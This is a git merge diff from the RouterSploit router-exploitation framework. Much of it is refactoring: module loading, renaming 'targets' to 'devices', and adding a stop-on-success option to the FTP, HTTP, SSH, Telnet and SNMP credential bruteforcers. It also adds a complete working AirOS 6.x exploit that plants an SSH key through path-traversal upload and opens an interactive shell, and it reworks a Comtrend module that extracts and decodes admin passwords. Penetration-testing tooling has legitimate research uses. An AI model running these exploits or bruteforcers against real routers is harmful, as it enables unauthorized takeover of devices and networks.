Unverified Commit 38e2e0b4 by Allon Hadaya

Merge remote-tracking branch 'origin/new_loading_mechanism' into module-tests

parents 7bf6cd90 d77f961b
......@@ -14,11 +14,36 @@ It consists of various modules that aids penetration testing operations:
# Installation
## Requirements
* gnureadline
* requests
* paramiko
* beautifulsoup4
* pysnmp
## Installation on Kali
git clone https://github.com/reverse-shell/routersploit
cd routersploit
./rsf.py
## Installation on Ubuntu
sudo apt-get install python-dev python-pip libncurses5-dev git
git clone https://github.com/reverse-shell/routersploit
cd routersploit
pip install -r requirements.txt
./rsf.py
## Installation on OSX
git clone https://github.com/reverse-shell/routersploit
cd routersploit
sudo easy_install pip
sudo pip install -r requirements.txt
./rsf.py
# Update
Update RouterSploit Framework often. Project is under heavy development and new modules are shipped almost everyday.
......@@ -101,7 +126,7 @@ Display information about exploit:
Description:
Module exploits D-Link DIR-300, DIR-600 Remote Code Execution vulnerability which allows executing command on operating system level with root privileges.
Targets:
Devices:
- D-Link DIR 300
- D-Link DIR 600
......
......@@ -11,6 +11,7 @@ from routersploit.utils import (
boolify,
mute,
multi,
index_modules,
)
from routersploit import exploits
......
......@@ -3,13 +3,9 @@ import os
import sys
import traceback
import atexit
import importlib
import inspect
from routersploit.exceptions import RoutersploitException
from routersploit.exploits import Exploit
from routersploit import utils
from routersploit import modules as rsf_modules
if sys.platform == "darwin":
import gnureadline as readline
......@@ -158,13 +154,11 @@ class RoutersploitInterpreter(BaseInterpreter):
self.raw_prompt_template = None
self.module_prompt_template = None
self.prompt_hostname = 'rsf'
self.modules_directory = rsf_modules.__path__[0]
self.modules = []
self.modules_with_errors = {}
self.main_modules_dirs = []
self.modules = utils.index_modules()
self.main_modules_dirs = [module for module in os.listdir(utils.MODULES_DIR) if not module.startswith("__")]
self.__parse_prompt()
self.load_modules()
self.banner = """ ______ _ _____ _ _ _
| ___ \ | | / ___| | | (_) |
......@@ -182,34 +176,12 @@ class RoutersploitInterpreter(BaseInterpreter):
Total module count: {modules_count}
""".format(modules_count=len(self.modules))
def load_modules(self):
self.main_modules_dirs = [module for module in os.listdir(self.modules_directory) if not module.startswith("__")]
self.modules = []
self.modules_with_errors = {}
for root, dirs, files in os.walk(self.modules_directory):
_, package, root = root.rpartition('routersploit')
root = "".join((package, root)).replace(os.sep, '.')
modules = map(lambda x: '.'.join((root, os.path.splitext(x)[0])), filter(lambda x: x.endswith('.py'), files))
for module_path in modules:
try:
module = importlib.import_module(module_path)
except ImportError as error:
self.modules_with_errors[module_path] = error
else:
klasses = inspect.getmembers(module, inspect.isclass)
exploits = filter(lambda x: issubclass(x[1], Exploit), klasses)
# exploits = map(lambda x: '.'.join([module_path.split('.', 2).pop(), x[0]]), exploits)
# self.modules.extend(exploits)
if exploits:
self.modules.append(module_path.split('.', 2).pop())
def __parse_prompt(self):
raw_prompt_default_template = "\033[4m{host}\033[0m > "
raw_prompt_default_template = "\001\033[4m\002{host}\001\033[0m\002 > "
raw_prompt_template = os.getenv("RSF_RAW_PROMPT", raw_prompt_default_template).replace('\\033', '\033')
self.raw_prompt_template = raw_prompt_template if '{host}' in raw_prompt_template else raw_prompt_default_template
module_prompt_default_template = "\033[4m{host}\033[0m (\033[91m{module}\033[0m) > "
module_prompt_default_template = "\001\033[4m\002{host}\001\033[0m\002 (\001\033[91m\002{module}\001\033[0m\002) > "
module_prompt_template = os.getenv("RSF_MODULE_PROMPT", module_prompt_default_template).replace('\\033', '\033')
self.module_prompt_template = module_prompt_template if all(map(lambda x: x in module_prompt_template, ['{host}', "{module}"])) else module_prompt_default_template
......@@ -259,9 +231,9 @@ class RoutersploitInterpreter(BaseInterpreter):
:return: list of most accurate command suggestions
"""
if self.current_module:
return ['run', 'back', 'set ', 'show ', 'check', 'debug', 'exit']
return ['run', 'back', 'set ', 'show ', 'check', 'exit']
else:
return ['use ', 'debug', 'exit']
return ['use ', 'exit']
def command_back(self, *args, **kwargs):
self.current_module = None
......@@ -271,12 +243,9 @@ class RoutersploitInterpreter(BaseInterpreter):
module_path = '.'.join(('routersploit', 'modules', module_path))
# module_path, _, exploit_name = module_path.rpartition('.')
try:
module = importlib.import_module(module_path)
self.current_module = getattr(module, 'Exploit')()
except (ImportError, AttributeError, KeyError):
utils.print_error("Error during loading '{}' module. "
"It should be valid path to the module. "
"Use <tab> key multiple times for completion.".format(utils.humanize_path(module_path)))
self.current_module = utils.import_exploit(module_path)()
except RoutersploitException as err:
utils.print_error(err.message)
@utils.stop_after(2)
def complete_use(self, text, *args, **kwargs):
......@@ -331,12 +300,12 @@ class RoutersploitInterpreter(BaseInterpreter):
@utils.module_required
def command_show(self, *args, **kwargs):
info, options = 'info', 'options'
info, options, devices = 'info', 'options', 'devices'
sub_command = args[0]
if sub_command == info:
utils.pprint_dict_in_order(
self.module_metadata,
("name", "description", "targets", "authors", "references"),
("name", "description", "devices", "authors", "references"),
)
utils.print_info()
elif sub_command == options:
......@@ -352,12 +321,27 @@ class RoutersploitInterpreter(BaseInterpreter):
utils.print_table(headers, *self.get_opts(*module_opts))
utils.print_info()
elif sub_command == devices:
if devices in self.current_module._Exploit__info__.keys():
devices = self.current_module._Exploit__info__['devices']
print("\nTarget devices:")
i = 0
for device in devices:
if isinstance(device, dict):
print(" {} - {}".format(i, device['name']))
else:
print(" {} - {}".format(i, device))
i += 1
print()
else:
print("\nTarget devices are not defined")
else:
print("Unknown command 'show {}'. You want to 'show {}' or 'show {}'?".format(sub_command, info, options))
@utils.stop_after(2)
def complete_show(self, text, *args, **kwargs):
sub_commands = ['info', 'options']
sub_commands = ['info', 'options', 'devices']
if text:
return filter(lambda command: command.startswith(text), sub_commands)
else:
......@@ -377,10 +361,5 @@ class RoutersploitInterpreter(BaseInterpreter):
else:
utils.print_status("Target could not be verified")
def command_debug(self, *args, **kwargs):
for key, value in self.modules_with_errors.iteritems():
utils.print_info(key)
utils.print_error(value, '\n')
def command_exit(self, *args, **kwargs):
raise KeyboardInterrupt
......@@ -35,6 +35,7 @@ class Exploit(exploits.Exploit):
usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = []
......@@ -107,7 +108,9 @@ class Exploit(exploits.Exploit):
try:
ftp.login(user, password)
running.clear()
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password))
except:
......
......@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Numbers of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass pair or file with default credentials (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = []
......@@ -99,7 +100,9 @@ class Exploit(exploits.Exploit):
try:
ftp.login(user, password)
running.clear()
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password))
except:
......
......@@ -36,6 +36,7 @@ class Exploit(exploits.Exploit):
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
path = exploits.Option('/', 'URL Path')
verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = []
......@@ -92,7 +93,9 @@ class Exploit(exploits.Exploit):
response = http_request(method="GET", url=url, auth=(user, password))
if response.status_code != 401:
running.clear()
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password))
else:
......
......@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit):
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
path = exploits.Option('/', 'URL Path')
verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = []
......@@ -85,7 +86,9 @@ class Exploit(exploits.Exploit):
response = http_request(method="GET", url=url, auth=(user, password))
if response.status_code != 401:
running.clear()
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password))
else:
......
......@@ -34,10 +34,11 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Number of threads')
usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
form = exploits.Option('auto', 'Post Data: auto or in form login={{LOGIN}}&password={{PASS}}&submit')
form = exploits.Option('auto', 'Post Data: auto or in form login={{USER}}&password={{PASS}}&submit')
path = exploits.Option('/login.php', 'URL Path')
form_path = exploits.Option('same', 'same as path or URL Form Path')
verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = []
data = ""
......@@ -172,7 +173,9 @@ class Exploit(exploits.Exploit):
l = len(r.text)
if l < self.invalid["min"] or l > self.invalid["max"]:
running.clear()
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password))
else:
......
......@@ -32,10 +32,11 @@ class Exploit(exploits.Exploit):
port = exploits.Option(80, 'Target port')
threads = exploits.Option(8, 'Number of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
form = exploits.Option('auto', 'Post Data: auto or in form login={{LOGIN}}&password={{PASS}}&submit')
form = exploits.Option('auto', 'Post Data: auto or in form login={{USER}}&password={{PASS}}&submit')
path = exploits.Option('/login.php', 'URL Path')
form_path = exploits.Option('same', 'same as path or URL Form Path')
verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = []
data = ""
......@@ -165,7 +166,9 @@ class Exploit(exploits.Exploit):
l = len(r.text)
if l < self.invalid["min"] or l > self.invalid["max"]:
running.clear()
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password))
else:
......
import threading
import netsnmp
from pysnmp.entity.rfc3413.oneliner import cmdgen
from routersploit import (
exploits,
......@@ -21,7 +21,7 @@ class Exploit(exploits.Exploit):
"""
__info__ = {
'name': 'SNMP Bruteforce',
'author': 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
'authors': 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
}
target = exploits.Option('', 'Target IP address or file with target:port (file://)')
......@@ -29,7 +29,7 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Number of threads')
snmp = exploits.Option(wordlists.snmp, 'Community string or file with community strings (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid community string')
strings = []
def run(self):
......@@ -59,23 +59,27 @@ class Exploit(exploits.Exploit):
def target_function(self, running, data):
module_verbosity = boolify(self.verbosity)
name = threading.current_thread().name
address = "{}:{}".format(self.target, self.port)
print_status(name, 'thread is starting...', verbose=module_verbosity)
cmdGen = cmdgen.CommandGenerator()
while running.is_set():
try:
string = data.next().strip()
bindvariable = netsnmp.Varbind(".1.3.6.1.2.1.1.1.0")
res = netsnmp.snmpget(bindvariable, Version=1, DestHost=address, Community=string)
errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd(
cmdgen.CommunityData(string),
cmdgen.UdpTransportTarget((self.target, int(self.port))),
'1.3.6.1.2.1.1.1.0',
)
if res[0] is not None:
running.clear()
if errorIndication or errorStatus:
print_error("Target: {}:{} {}: Invalid community string - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity)
else:
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Valid community string found - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity)
self.strings.append((self.target, self.port, string))
else:
print_error("Target: {}:{} {}: Invalid community string - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity)
except StopIteration:
break
......
......@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit):
usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = []
......@@ -95,10 +96,10 @@ class Exploit(exploits.Exploit):
ssh.close()
print_error("Target: {}:{} {}: {} Username: '{}' Password: '{}'".format(self.target, self.port, name, err, user, password), verbose=module_verbosity)
else:
running.clear()
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {} Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password))
print_status(name, 'thread is terminated.', verbose=module_verbosity)
......@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Numbers of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = []
......@@ -90,10 +91,10 @@ class Exploit(exploits.Exploit):
print_error("Target: {}:{} {}: {} Username: '{}' Password: '{}'".format(self.target, self.port, name, err, user, password), verbose=module_verbosity)
else:
running.clear()
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {} Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password))
print_status(name, 'process is terminated.', verbose=module_verbosity)
......@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit):
usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = []
......@@ -100,7 +101,9 @@ class Exploit(exploits.Exploit):
print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
else:
if any(map(lambda x: x in res, ["#", "$", ">"])) or len(res) > 500: # big banner e.g. mikrotik
running.clear()
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password))
tn.close()
......
......@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Numbers of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = []
......@@ -94,7 +95,9 @@ class Exploit(exploits.Exploit):
print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
else:
if any(map(lambda x: x in res, ["#", "$", ">"])) or len(res) > 500: # big banner e.g. mikrotik
running.clear()
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password))
tn.close()
......
......@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
'references': [
'https://www.exploit-db.com/exploits/9459/',
],
'targets': [
'devices': [
'2Wire 2701HGV-W',
'2Wire 3800HGV-B',
'2Wire 3801HGV',
......
......@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'references': [
'https://github.com/lucyoa/exploits/blob/master/asmax/asmax.txt',
],
'targets': [
'devices': [
'Asmax AR 1004g',
],
}
......
......@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'http://www.securitum.pl/dh/asmax-ar-804-gu-compromise',
'https://www.exploit-db.com/exploits/8846/',
],
'targets': [
'devices': [
'Asmax AR 804 gu',
],
}
......
......@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'references': [
'https://github.com/jduck/asus-cmd',
],
'targets': [
'devices': [
'ASUS RT-N66U',
'ASUS RT-AC87U',
'ASUS RT-N56U',
......
......@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit):
'references': [
'https://sintonen.fi/advisories/asus-router-auth-bypass.txt'
],
'targets': [
'devices': [
'ASUS RT-N10U, firmware 3.0.0.4.374_168',
'ASUS RT-N56U, firmware 3.0.0.4.374_979',
'ASUS DSL-N55U, firmware 3.0.0.4.374_1397',
......
......@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2765',
'https://www.exploit-db.com/exploits/17349/',
],
'targets': [
'devices': [
'Belkin G',
'Belkin N150',
],
......
......@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0403',
'https://www.exploit-db.com/exploits/4941/',
],
'targets': [
'devices': [
'Belkin G',
],
}
......
......@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit):
'http://www.belkin.com/us/support-article?articleNum=109400',
'http://www.kb.cert.org/vuls/id/774788',
],
'targets': [
'devices': [
'Belkin N150 1.00.07',
'Belkin N150 1.00.08',
'Belkin N150 1.00.09',
......
......@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'https://www.exploit-db.com/exploits/35184/',
'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/',
],
'targets': [
'devices': [
'Belkin N750',
]
}
......
......@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'https://www.exploit-db.com/exploits/39568/',
'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash',
],
'targets': [
'devices': [
'Cisco UCS Manager 2.1 (1b)',
],
}
......
......@@ -27,10 +27,8 @@ class Exploit(exploits.Exploit):
'references': [
'https://packetstormsecurity.com/files/126129/Comtrend-CT-5361T-Password-Disclosure.html'
],
'targets': [
'Comtrend CT 5361T (more likely CT 536X)\n' +
'Software Version: A111-312SSG-T02_R01\n' +
'Wireless Driver Version: 4.150.10.15.cpe2.2'
'devices': [
'Comtrend CT 5361T (more likely CT 536X)',
]
}
......@@ -38,34 +36,34 @@ class Exploit(exploits.Exploit):
port = exploits.Option(80, 'Target port') # default port
def run(self):
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
if self.check():
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
print_status("Requesting for {}".format(url))
print_status("Requesting for {}".format(url))
response = http_request(method="GET", url=url)
if response is None:
return
response = http_request(method="GET", url=url)
if response is None:
return
creds = []
admin = re.findall("pwdAdmin = '(.+?)'", response.text)
if len(admin):
creds.append(('Admin', b64decode(admin[0])))
support = re.findall("pwdSupport = '(.+?)'", response.text)
if len(support):
creds.append(('Support', b64decode(support[0])))
user = re.findall("pwdUser = '(.+?)'", response.text)
if len(user):
creds.append(('User', b64decode(user[0])))
if len(creds):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *creds)
print("NOTE: Admin is commonly implemented as root")
regexps = [("admin", "pwdAdmin = '(.+?)'"),
("support", "pwdSupport = '(.+?)'"),
("user", "pwdUser = '(.+?)'")]
creds = []
for regexp in regexps:
res = re.findall(regexp[1], response.text)
if len(res):
creds.append((regexp[0], b64decode(res[0])))
if len(creds):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *creds)
print("NOTE: Admin is commonly implemented as root")
else:
print_error("Credentials could not be found")
else:
print_error("Credentials could not be found")
print_error("Device seems to be not vulnerable")
@mute
def check(self):
......@@ -75,7 +73,19 @@ class Exploit(exploits.Exploit):
if response is None:
return False # target is not vulnerable
if any(map(lambda x: x in response.text, ["pwdSupport", "pwdUser", "pwdAdmin"])):
return True # target vulnerable
regexps = ["pwdAdmin = '(.+?)'",
"pwdSupport = '(.+?)'",
"pwdUser = '(.+?)'"]
for regexp in regexps:
res = re.findall(regexp, response.text)
if len(res):
try:
b64decode(res[0]) # checking if data is base64 encoded
except:
return False # target is not vulnerable
else:
return False # target is not vulnerable
return False # target is not vulnerable
return True # target is vulnerable
......@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit):
'references': [
'http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf',
],
'targets': [
'devices': [
'D-Link DIR-300',
'D-Link DIR-600',
'D-Link DIR-615 revD',
......
......@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit):
'references': [
'http://seclists.org/bugtraq/2013/Dec/11'
],
'targets': [
'devices': [
'D-Link DIR-300 (all)',
'D-Link DIR-600 (all)',
'D-Link DIR-615 (fw 4.0)',
......
......@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'http://www.s3cur1ty.de/home-network-horror-days',
'http://www.s3cur1ty.de/m1adv2013-003',
],
'targets': [
'devices': [
'D-Link DIR 300',
'D-Link DIR 600',
]
......
......@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit):
'references': [
'https://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt'
],
'targets': [
'devices': [
'D-Link DIR-645 (Versions < 1.03)',
]
}
......
......@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'references': [
'http://www.search-lab.hu/media/D-Link_Security_advisory_3_0_public.pdf',
],
'targets': [
'devices': [
'DNS-320L 1.03b04',
'DNS-327L, 1.02',
]
......
......@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'references': [
'http://seclists.org/fulldisclosure/2015/May/129'
],
'targets': [
'devices': [
'D-Link DSL-2750B EU_1.01',
],
}
......
......@@ -25,7 +25,7 @@ class Exploit(exploits.Exploit):
'https://www.exploit-db.com/exploits/39409/',
'http://ipositivesecurity.blogspot.com/2016/02/dlink-dvgn5402sp-multiple-vuln.html',
],
'targets': [
'devices': [
'D-Link DVG-N5402SP',
]
}
......
......@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'references': [
'https://www.exploit-db.com/exploits/39581/',
],
'targets': [
'devices': [
'D-Link DWR-932',
]
}
......
......@@ -33,7 +33,7 @@ class Exploit(exploits.Exploit):
'http://www.s3cur1ty.de/home-network-horror-days',
'http://www.s3cur1ty.de/m1adv2013-003',
],
'targets': [
'devices': [
'FortiGate OS Version 4.x-5.0.7',
]
}
......
......@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
'references': [
'https://community.rapid7.com/community/infosec/blog/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor',
],
'targets': [
'devices': [
'Juniper ScreenOS 6.2.0r15 to 6.2.0r18',
'Juniper ScreenOS 6.3.0r12 to 6.3.0r20',
]
......
......@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'references': [
'https://www.exploit-db.com/exploits/24475/',
],
'targets': [
'devices': [
'Linksys E1500/E2500',
]
}
......
......@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'references': [
'http://seclists.org/bugtraq/2010/Jun/93',
],
'targets': [
'devices': [
'Linksys WAP54Gv3',
]
}
......
......@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'http://firmware.re/vulns/acsa-2015-001.php',
'https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf',
],
'targets': [
'devices': [
'Netgear WG102',
'Netgear WG103',
'Netgear WN604',
......
......@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit):
'https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2015-007_Netgear_WNR1000v4_AuthBypass.txt',
'http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.html',
],
'targets': [
'devices': [
'Netgear N300',
'Netgear JNR1010v2',
'Netgear JNR3000',
......
......@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'http://firmware.re/vulns/acsa-2015-002.php',
'https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf',
],
'targets': [
'devices': [
'Netgear ProSafe WC9500',
'Netgear ProSafe WC7600',
'Netgear ProSafe WC7520',
......
......@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
'references': [
'https://www.exploit-db.com/exploits/31894/',
],
'targets': [
'devices': [
'Technicolor TC7200',
]
}
......
import requests, tempfile, os.path
import paramiko, StringIO, termios, tty, sys, select, socket
from routersploit import (
exploits,
print_success,
print_error,
print_info,
random_text,
sanitize_url,
http_request,
mute,
)
class Exploit(exploits.Exploit):
'''
Exploit implementation for AirOS 6.x - Arbitrary File Upload.
If the target is vulnerable is possible to take full control of the router
'''
__info__ = {
'name': 'AirOS 6.x - Arbitrary File Upload',
'description': 'Exploit implementation for AirOS 6.x - Arbitrary File Upload. If the target is vulnerable is possible to take full control of the router',
'authors': [
'93c08539', #Vulnerability discovery
'Vinicius Henrique Marangoni' #routersploit module
],
'references': [
'https://hackerone.com/reports/73480',
'https://www.exploit-db.com/exploits/39701/'
],
'devices': [
'AirOS 6.x'
]
}
target = exploits.Option('', 'Target address e.g. https://192.168.1.1') #Target address
port = exploits.Option(443, 'Target port e.g. 443') #Default port
#Disable certificate verification warnings
requests.packages.urllib3.disable_warnings()
def run(self):
if(self.check()):
print_success('Target is vulnerable')
print_success('Trying to exploit by uploading SSH public key')
key = paramiko.RSAKey.generate(1024)
public_key = key.get_base64()
private_key = StringIO.StringIO()
key.write_private_key(private_key)
tmp_file_pubkey = tempfile.TemporaryFile()
tmp_file_pubkey.write('ssh-rsa ' + public_key)
tmp_file_pubkey.seek(0)
upload_params = {'file': ('../../etc/dropbear/authorized_keys', tmp_file_pubkey, {'Expect': ''})}
upload_url = sanitize_url('{0}:{1}/login.cgi' .format(self.target, self.port))
response = http_request(url=upload_url, method='POST', files=upload_params)
if(response is None):
print_error('Something was wrong while uploading the SSH Public Key')
return
print_success('Appareantly the exploit worked fine')
print_success('Trying to invoke a interactive SSH Shell')
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
pseudo_privkey_file = StringIO.StringIO(private_key.getvalue())
pkey = paramiko.RSAKey.from_private_key(pseudo_privkey_file)
pseudo_privkey_file.close()
ip_target = self.target.replace('https://', '')
ip_target = ip_target.replace('http://', '')
ip_target = ip_target.replace('/', '')
client.connect(ip_target, 22, username='ubnt', pkey=pkey)
# invoking interactive shell
chan = client.invoke_shell()
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
while(True):
r, w, e = select.select([chan, sys.stdin], [], [])
if(chan in r):
try:
x = unicode(chan.recv(1024))
if(len(x) == 0):
sys.stdout.write('\r\nExiting...\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if(sys.stdin in r):
x = sys.stdin.read(1)
if(len(x) == 0):
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
private_key.close()
else:
print_error('Target is not vulnerable')
@mute
def check(self):
base_url = sanitize_url('{0}:{1}/' .format(self.target, self.port))
upload_url = base_url + 'login.cgi'
response = http_request(url=upload_url, method='GET')
if(response is None):
return False #Target not vulnerable
rand_str = random_text(length=16)
tmp_payload = tempfile.TemporaryFile()
tmp_payload.write('vulnerable' + rand_str)
tmp_payload.seek(0)
upload_params = {'file': ('../../../../tmp/airview.uavr', tmp_payload, {'Expect': ''})}
response = http_request(url=upload_url, method='POST', files=upload_params)
tmp_payload.close()
if(response is None):
return False #Target not vulnerable
#Response to verify if the upload was done correctly
airview_url = base_url + 'airview.uavr'
verify_upload = http_request(url=airview_url, method='GET')
#Upload empty file to "clear" the airview.uavr file
clean_tmp_file = tempfile.TemporaryFile()
clean_tmp_file.seek(0)
upload_params = {'file': ('../../../../tmp/airview.uavr', clean_tmp_file, {'Expect': ''})}
http_request(url=upload_url, method='POST', files=upload_params)
clean_tmp_file.close()
if('vulnerable'+rand_str in verify_upload.text):
return True
else:
return False
......@@ -30,7 +30,7 @@ class RoutersploitCompleterTest(unittest.TestCase):
def test_raw_commands_no_module(self):
self.rsf.send("\t\t")
self.assertPrompt('debug exit use \r\n', self.raw_prompt)
self.assertPrompt('exit use \r\n', self.raw_prompt)
def test_complete_use_raw(self):
self.rsf.send("u\t\t")
......@@ -87,7 +87,7 @@ class RoutersploitCompleterTest(unittest.TestCase):
self.set_module()
self.rsf.send("\t\t")
self.assertPrompt(
'back check debug exit run set show \r\n',
'back check exit run set show \r\n',
self.module_prompt('FTP Bruteforce')
)
......@@ -135,7 +135,7 @@ class RoutersploitCompleterTest(unittest.TestCase):
self.set_module()
self.rsf.send("set \t\t")
self.assertPrompt(
'passwords port target threads usernames verbosity \r\n',
'passwords stop_on_success threads verbosity\r\nport target usernames \r\n',
self.module_prompt('FTP Bruteforce'),
'set ',
)
